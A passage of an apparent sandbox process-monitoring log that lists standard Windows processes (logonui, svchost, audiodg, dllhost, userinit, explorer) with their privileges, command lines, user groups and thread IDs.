os_tid = 0x3b0 Process: id = "25" image_name = "logonui.exe" filename = "c:\\windows\\system32\\logonui.exe" page_root = "0xbc80000" os_pid = "0x2f4" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "18" os_parent_pid = "0x180" cmd_line = "\"LogonUI.exe\" /flags:0x0" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 293 os_tid = 0x2f8 Thread: id = 295 os_tid = 0x300 Thread: id = 296 os_tid = 0x304 Thread: id = 297 os_tid = 0x308 Thread: id = 299 os_tid = 0x310 Thread: id = 300 os_tid = 0x314 Thread: id = 306 os_tid = 0x320 Thread: id = 307 os_tid = 0x328 Thread: id = 308 os_tid = 0x32c Thread: id = 309 os_tid = 0x330 Process: id = "26" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xa5f0000" os_pid = "0x338" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "19" os_parent_pid = "0x1ac" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AudioEndpointBuilder" [0xe], "NT SERVICE\\CscService" [0xa], "NT SERVICE\\dot3svc" [0xa], "NT SERVICE\\hidserv" [0xa], "NT SERVICE\\HomeGroupListener" [0xa], "NT SERVICE\\IPBusEnum" [0xa], "NT SERVICE\\Netman" [0xa], "NT SERVICE\\PcaSvc" [0xa], "NT SERVICE\\StorSvc" [0xa], "NT SERVICE\\TabletInputService" [0xa], "NT SERVICE\\TrkWks" [0xa], "NT SERVICE\\UmRdpService" [0xa], "NT SERVICE\\UxSms" [0xa], "NT SERVICE\\WdiSystemHost" [0xa], "NT SERVICE\\Wlansvc" [0xa], "NT SERVICE\\WPDBusEnum" [0xa], "NT SERVICE\\wudfsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000ce59" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 312 os_tid = 0x33c Thread: id = 314 os_tid = 0x344 Thread: id = 319 os_tid = 0x358 Thread: id = 320 os_tid = 0x35c Thread: id = 321 os_tid = 0x360 Thread: id = 324 os_tid = 0x370 Thread: id = 325 os_tid = 0x374 Thread: id = 329 os_tid = 0x384 Thread: id = 330 os_tid = 0x388 Thread: id = 331 os_tid = 0x38c Thread: id = 343 os_tid = 0x3c0 Thread: id = 345 os_tid = 0x3c8 Thread: id = 349 os_tid = 0x3dc Thread: id = 350 os_tid = 0x3e0 Thread: id = 352 os_tid = 0x3e8 Thread: id = 353 os_tid = 0x3ec Thread: id = 364 os_tid = 0xfc Thread: id = 365 os_tid = 0x110 Process: id = "27" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x1adf7000" os_pid = "0x364" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "19" os_parent_pid = "0x1ac" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d31f" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 322 os_tid = 0x368 Thread: id = 323 os_tid = 0x36c Thread: id = 326 os_tid = 0x378 Thread: id = 327 os_tid = 0x37c Thread: id = 328 os_tid = 0x380 Thread: id = 332 os_tid = 0x390 Thread: id = 344 os_tid = 0x3c4 Thread: id = 346 os_tid = 0x3cc Thread: id = 348 os_tid = 0x3d8 Thread: id = 351 os_tid = 0x3e4 Thread: id = 355 os_tid = 0x3f8 Thread: id = 356 os_tid = 0x3fc Thread: id = 370 os_tid = 0x128 Thread: id = 371 os_tid = 0x124 Thread: id = 380 os_tid = 0x1c0 Thread: id = 381 os_tid = 0x204 Process: id = "28" image_name = "audiodg.exe" filename = "c:\\windows\\system32\\audiodg.exe" page_root = "0xe861000" os_pid = "0x3a0" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "24" os_parent_pid = "0x2ac" cmd_line = "C:\\Windows\\system32\\AUDIODG.EXE 0x300" cur_dir = "C:\\Windows" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xe], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000ba1c" [0xc000000f], "LOCAL" [0x7] Thread: id = 336 os_tid = 0x3a4 Thread: id = 337 os_tid = 0x3a8 Thread: id = 340 os_tid = 0x3b4 Thread: id = 341 os_tid = 0x3b8 Thread: id = 342 os_tid = 0x3bc Process: id = "29" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xd707000" os_pid = "0x3f0" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "19" os_parent_pid = "0x1ac" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e1fe" [0xc000000f], "LOCAL" [0x7] Thread: id = 354 os_tid = 0x3f4 Thread: id = 357 os_tid = 0xc8 Thread: id = 358 os_tid = 0xcc Thread: id = 359 os_tid = 0xf4 Thread: id = 360 os_tid = 0xf0 Thread: id = 366 os_tid = 0x134 Thread: id = 369 os_tid = 0x130 Process: id = "30" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0xa503000" os_pid = "0x140" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "22" os_parent_pid = "0x238" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d31f" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 372 os_tid = 0x16c Thread: id = 373 os_tid = 0x158 Thread: id = 374 os_tid = 0x154 Thread: id = 376 os_tid = 0x1a4 Thread: id = 377 os_tid = 0x1f8 Thread: id = 378 os_tid = 0x114 Thread: id = 379 os_tid = 0x118 Process: id = "31" image_name = "userinit.exe" filename = "c:\\windows\\system32\\userinit.exe" page_root = "0x9f41000" os_pid = "0x1f4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "18" os_parent_pid = "0x180" cmd_line = "C:\\Windows\\system32\\userinit.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e7ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 382 os_tid = 0x24c Process: id = "32" image_name = "explorer.exe" filename = "c:\\windows\\explorer.exe" page_root = "0x8031000" os_pid = "0x278" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "31" os_parent_pid = "0x1f4" cmd_line = "C:\\Windows\\Explorer.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e7ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 383 os_tid = 0x298